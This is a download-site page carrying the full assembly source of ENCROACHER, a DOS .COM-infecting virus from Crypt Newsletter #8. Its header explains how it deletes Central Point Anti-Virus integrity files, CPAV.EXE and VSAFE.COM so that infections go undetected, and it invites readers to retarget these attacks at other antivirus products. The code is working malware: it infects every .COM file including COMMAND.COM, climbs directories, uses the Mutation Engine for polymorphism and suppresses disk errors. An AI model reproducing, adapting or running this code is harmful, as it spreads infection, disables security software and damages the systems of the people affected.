⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 encroach.asm

📁 一些病毒源代码
💻 ASM
字号:
;***************************************************************************
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's
; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation
; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8.
;
;  1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8.
;  2. The reader must also have the MtE091b object files (not included in 
;  the newsletter but commonly available as the Mutation Engine at most
;  good virus info archive sites.) 
;  3. Place all files in ENCROACHER assembly directory. 
;  4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path.
;
; ENCROACHER is a simple .COM appending virus which strikes the Central Point
; Anti-virus software in a direct manner.  CPAV stores a file called 
; chklist.cps in every directory that contains executable programs. This file
; contains the integrity (or checksum) data on each program in that
; directory. It is the library file that CPAV refers to when scanning for
; unknown viruses. By comparing 'newly checksummed' files with its data 
; in chklist.cps, CPAV locates change, corruption or generic virus infection.
; Eliminating these files before virus infection forces Central Point 
; Antivirus to create new 'checklist' data for the directory, AFTER the
; virus has acted.  Therefore, the virus-infected file becomes
; a legal part of Central Point's freshly calculated integrity data.
; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing
; the anti-virus software to constantly update its data, effectively
; making this feature unreliable.  In my experience,
; the CPAV software does not protest the elimination of these files in an
; appropriate manner.
;
; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program        
; in its default installation directory before infection.  This is a 
; direct attack and is more likely to be noticed than the
; disappearance and reappearance of dozens of very small chklist.cps
; files. Because it is a strong move, one can be of mixed mind about using it.
; An alert user SHOULD recognize something wrong almost immediately. 
; However, it is included to illustrate the point that while it presumes 
; apriori knowledge concerning the location of CPAV software on the system,  
; many users can STILL be expected to be lazy (and/or stupid) and use the 
; vulnerable shrink-wrapped software recommendations for installation.
;        
; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful       
; program for the detection of virus-mediated opening, closing and writing
; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS.
; The user may add attack of this component to the source code if he wishes.)
; If Central Point's DEFAULT installation is in place and VSAFE is in        
; memory, ENCROACHER will remove it since, generally, the program
; is merely configured to scan for known viruses, add chklist.cps files
; to program directories and lock out writes to the boot record. If all
; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it
; attempts to destroy VSAFE. However, since these VSAFE features are
; not practical for everyday computing needs, it can be
; assumed relatively safe to disregard them as a threat to ENCROACHER. (The
; reader is invited to add a routine which will make a call to VSAFE
; if in memory. If VSAFE is resident, the routine could be written to
; instruct the virus to go to sleep until the danger is past.)
;        
; Central Point Anti-virus contains a third program known as VWATCH. It
; can be safely ignored by ENCROACHER.
;
; ENCROACHER's anti-virus software countermeasures can be quickly adapted
; to almost any commercial software of choice.  Access to manuals or
; copies of the Norton Antivirus, Fifth Generation's Untouchable or
; Leprechaun Software's Virus-Buster have all the information needed to
; allow the homebrew researcher to reconfigure the virus so that it can 
; attack these programs in an educated manner.
;
; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script. 
; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected
; programs sometime in the evening hours.
;
; General features: ENCROACHER will infect all .COM programs in its current 
; directory. When finished, it will jump to the root of the current directory
; and continue its work.
; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt. 
; (Sorry, deadline was approaching for the newsletter and I had to get this
; baby to bed.) 
;        
; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM!  The operating
; system WILL continue to load properly. ENCROACHER quickly deletes
; Central Point software programs on start-up. There is no noticeable
; delay in infection times between it and a copy of the virus lacking 
; these features.
; ENCROACHER will quickly infect down the trunk of any directory structure.
;
; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once
; it has spread out onto a system.
	
	
	.model  tiny
	.radix  16
	.code

	extrn   mut_engine: near, rnd_get: near, rnd_init: near
	extrn   rnd_buf: word, data_top: near

	org     100h

start:
	call    locadr
reladr:
	db      'ENCROACHER is here'
       
locadr:
	pop     dx
	mov     cl,4
	shr     dx,cl
	sub     dx,10
	mov     cx,ds
	add     cx,dx                   ;Calculate new CS
	mov     dx,offset begin
	push    cx dx
	retf
begin:
	cld
	mov     di,offset start
	push    es di
	push    cs
	pop     ds
	mov     si,offset old_cod
	movsb                           ;Restore first 3 bytes
	movsw
	push    ax
	mov     dx,offset dta_buf       ;Set DTA
	mov     ah,1a
	int     21
	mov     ax,3524                 ;Hook INT 24
	int     21
	push    es bx
	mov     dx,offset fail_err
	mov     ax,2524
	int     21
killcps:              ; clear CPS integrity files from startup directory
	mov     dx,offset killfile      ; DX points to data mask: chklist.cps
	mov     ah,04Eh                 ; DOS find first file function
	mov     cx,00100111b            ; All file attributes valid
	int     021h
	jc      erase_done              ; Exit procedure on failure
	mov     ah,02Fh                 ; DOS get DTA function
	int     021h
	lea     dx,[bx + 01Eh]          ; DX points to filename in DTA
erase_loop:     
	mov     ah,041h                 ; DOS delete file function
	int     021h
	mov     ah,03Ch                 ; DOS create file function
	xor     cx,cx                   ; No attributes for new file
	int     021h
	mov     ah,041h                 ; DOS delete file function
	int     021h
	mov     ah,04Fh                 ; DOS find next file function
	int     021h
	jnc     erase_loop              ; Repeat until no files left
erase_done:


	 jmp     killcpav               ; chklist.cps gone, go for CPAV.EXE
					; in factory installation
	
	
killcpav:              ; clear CPAV master executable from default directory
	mov     dx,offset killfile2    ; DX points to filename
	mov     ah,41h                 ; DOS erase file function
	int     21h
	jc      killvsafe

killvsafe:
	mov     dx,offset killfile3
	mov     ah,41h
	int     21h
	jc      erase_done2

erase_done2:
	jmp     getonwithit
	
getonwithit:                            ;get on with infecting files
	xor     ax,ax                   ;Initialize random number generator
	mov     [rnd_buf],ax            ;for Mutation Engine use
	call    rnd_init
	push    sp
	pop     cx
	sub     cx,sp
	add     cx,4
	push    cx

find_lup1:        
	mov     dx,offset srchnam       ;COMfile mask for clean file search
	mov     cl,3
	mov     ah,4e                   ;find a file

find_lup2:
	int     21        ;Find the next COM file
	jc      ch_dir    ;if no files or no uninfected files in current dir, change to root
	cmp     [dta_buf+1a],ch
	jnz     infect           ;If not infected, infect it now
	pop     cx
find_nxt:
	push    cx
	mov     dx,offset dta_buf
	mov     ah,4f                 ;found an infected file, find another
	jmp     find_lup2

ch_dir:  
	mov     dx,offset dotdot
	mov     ah,3bh              ; Change directory to root of current
	int     21h
	jnc     find_lup1           ; Carry set if in root
				    ; loop to search for clean files
infect_done:
	pop     cx
	loop    find_nxt
	jnc     exit2
	call    rnd_get             ;extraneous garbage code
	test    al,1                ;   "         "      "
	jz      exit2               ;   "         "      "

exit1:  popf                       ;return control and get set to clean up

exit2:
	pop     dx ds
	mov     ax,2524             ;Restore old INT 24
	int     21
	push    ss
	pop     ds
	mov     dx,80                   ;Restore DTA
	mov     ah,1a
	int     21
	push    ds                      ;Exit to host program
	pop     es
	pop     ax
	retf
infect:
	xor     cx,cx                   ;Reset read-only attribute
	mov     dx,offset dta_buf+1e
	mov     ax,4301
	int     21
	jc      infect_done             ;if fail, get set to leave
	mov     ax,3d02                 ;Open the file
	int     21
	jc      infect_done             ;if fail, get set to leave
	xchg    ax,bx
	mov     dx,offset old_cod       ;Read first 3 bytes
	mov     cx,3
	mov     ah,3f
	int     21
	jc      read_done               ;file already infected, skip it
	mov     ax,word ptr [old_cod]   ;Make sure it's not an EXE file
	cmp     ax,'ZM'
	jz      read_done               ;if it is, skip it
	cmp     ax,'MZ'
	jz      read_done
	xor     cx,cx                   ;Seek to end of file
	xor     dx,dx
	mov     ax,4202
	int     21
	test    dx,dx                   ;Make sure the file is not too big
	jnz     read_done
	cmp     ax,-2000
	jnc     read_done
	mov     bp,ax
	sub     ax,3
	mov     word ptr [new_cod+1],ax
	mov     ax,5700                 ;Save file's date/time
	int     21
	push    dx cx
	mov     ax,offset data_top+0f
	mov     cl,4                    ;Now call the Mutation Engine
	shr     ax,cl
	mov     cx,cs
	add     ax,cx
	mov     es,ax
	mov     dx,offset start         ;dx points to start of ENCROACHER
	mov     cx,offset _DATA         ;cx contains ENCROACHER length
	push    bp bx
	add     bp,dx  ;bp contains address where MtE hands control to ENCROACH
	xor     si,si                   ;si=0, MtE required value
	xor     di,di                   ;di=0, MtE required value
	mov     bl,0f                   ;bl=0f,MtE 'medium' model required
	mov     ax,101                  ;set bit-field in ax, MtE values
	call    mut_engine
	pop     bx ax
	add     ax,cx                   ;Make sure file length mod 256 = 0
	neg     ax
	xor     ah,ah
	add     cx,ax
	mov     ah,40                   ;Put the virus into the file
	int     21
	push    cs
	pop     ds
	sub     cx,ax
	xor     dx,dx                   ;Write the JMP instruction
	mov     ax,4200
	int     21
	mov     dx,offset new_cod
	mov     cx,3
	mov     ah,40
	int     21
write_done:
	pop     cx dx                   ;Restore file's date/time
	mov     ax,5701
	int     21
	jmp     read_done2

read_done:
	mov     ah,3e                   ;Close the file
	int     21
	jmp     infect_done             ;in this case, no infection so 
					;try for another search
read_done2:
	mov     ah,3e
	int     21
	jmp     exit1                  ;successfully infected file,
				       ;jump to host execution
fail_err:                              ;Critical error handler
	mov     al,3                   ;protects ENCROACHER from exposing 
	iret                           ;itself on a write-protected disk
				       ;or diskette

srchnam   db      '*.COM',0
killfile  db     'CHKLIST.CPS',0        ;CPAV file integrity data archive
killfile2 db     'C:\CPAV\CPAV.EXE',0   ;default location and name of
					;CPAV master program
killfile3 db     'C:\CPAV\VSAFE.COM',0  ;CPAV r/w resident protection program

old_cod:                               ;Buffer to read first 3 bytes
	ret
	dw      ?

new_cod:                               ;Buffer to write first 3 bytes
	jmp     $+100

	.data

dotdot  db      '..',0                 ;change directory trick
dta_buf db      2bh dup(?)             ;Buffer for DTA

	end     start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -